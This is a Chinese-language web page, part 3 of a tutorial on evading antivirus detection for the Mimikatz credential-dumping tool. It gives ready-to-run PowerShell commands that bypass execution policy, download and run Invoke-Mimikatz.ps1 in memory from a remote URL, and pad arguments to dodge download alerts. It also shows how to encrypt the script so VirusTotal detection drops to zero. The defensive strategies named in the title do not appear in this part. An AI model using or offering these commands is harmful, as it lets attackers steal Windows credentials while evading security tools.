主页 > 网络知识 > Mimikatz的18种免杀姿势及防御策略(3)

Mimikatz的18种免杀姿势及防御策略(3)

将Invoke-Mimikatz.ps1放在测试机上,本地执行

C:WINDOWSsystem32WindowsPowerShellv1.0powershell.exe -exec bypass "import-module c:testInvoke-Mimikatz.ps1;Invoke-Mimikatz"

杀软会行为拦截,Invoke-Mimikatz.ps1脚本也会被查杀。

 

Mimikatz的18种免杀姿势及防御策略

 

powershell脚本更方便的是可以进行远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz

不过由于raw.githubusercontent.com经常访问受限,所以可能会出现这种提示

 

Mimikatz的18种免杀姿势及防御策略

 

所以,最后是把相关代码放在自己的vps上,我就直接放我的内网另外的pc上了。

powershell依旧会被360行为拦截。

 

Mimikatz的18种免杀姿势及防御策略

 

对可以尝试直使用下面的bypass方式,来自团队诺言大佬的文章内网渗透-windows持久性后门

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

不会触发powershell下载行为预警。

 

Mimikatz的18种免杀姿势及防御策略

 

virustotal.com上Invoke-Mimikatz.ps1脚本查杀率为39/58。

 

Mimikatz的18种免杀姿势及防御策略

 

方法3-使用Out-EncryptedScript加密(VT查杀率0/60)

参考https://www.jianshu.com/p/ed5074f8584b

Powersploit中提供的很多工具都是做过加密处理的,同时也提供了一些用来加密处理的脚本,Out-EncryptedScript就是其中之一。

首先在本地对Invoke-Mimikatz.ps1进行加密处理:

先下载Out-EncryptedScript.ps1脚本,下载地址:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1

在自己的电脑上依次执行

powershell.exe Import-Module .Out-EncryptedScript.ps1 Out-EncryptedScript -ScriptPath .Invoke-Mimikatz.ps1 -Password tidesec -Salt 123456

默认会生成的evil.ps1文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解

 

Mimikatz的18种免杀姿势及防御策略

 

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!